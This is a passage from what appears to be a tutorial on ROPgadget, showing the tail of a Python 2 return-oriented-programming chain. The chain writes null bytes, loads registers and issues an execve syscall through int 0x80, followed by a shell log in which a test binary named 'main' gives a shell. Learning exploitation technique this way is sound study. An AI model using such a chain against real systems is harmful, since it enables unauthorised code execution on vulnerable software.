p += pack("<I", 0x080ce3e0+9)        # @ .data + 8
p += pack("<I", 0x080577b0)          # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e0+10)       # @ .data + 9
p += pack("<I", 0x080577b0)          # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e0+11)       # @ .data + 10
p += pack("<I", 0x080577b0)          # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

# set register for execve
p += pack("<I", 0x08048144)          # pop %ebx | ret
p += pack("<I", 0x080ce3e0)          # @ .data
p += pack("<I", 0x080bc924)          # pop %ecx | ret
p += pack("<I", 0x080ce3e8)          # @ .data + 8
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e8)          # @ .data + 8

# set eax pour execve syscall
p += pack("<I", 0x080577b0)          # xor %eax,%eax | ret
p += pack("<I", 0x08069f78)          # inc %eax | ret
p += pack("<I", 0x08069f78)          # inc %eax | ret
p += pack("<I", 0x08069f78)          # inc %eax | ret
p += pack("<I", 0x08069f78)          # inc %eax | ret
p += pack("<I", 0x08069f78)          # inc %eax | ret
p += pack("<I", 0x08069f78)          # inc %eax | ret
p += pack("<I", 0x08069f78)          # inc %eax | ret
p += pack("<I", 0x08069f78)          # inc %eax | ret
p += pack("<I", 0x08069f78)          # inc %eax | ret
p += pack("<I", 0x08069f78)          # inc %eax | ret
p += pack("<I", 0x08069f78)          # inc %eax | ret
p += pack("<I", 0x080491f9)          # int $0x80

print p

# jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids3.py)" 
# sh-4.2$

You can then create your own gadgets and use them later. These methods will be added in future versions of ROPgadget.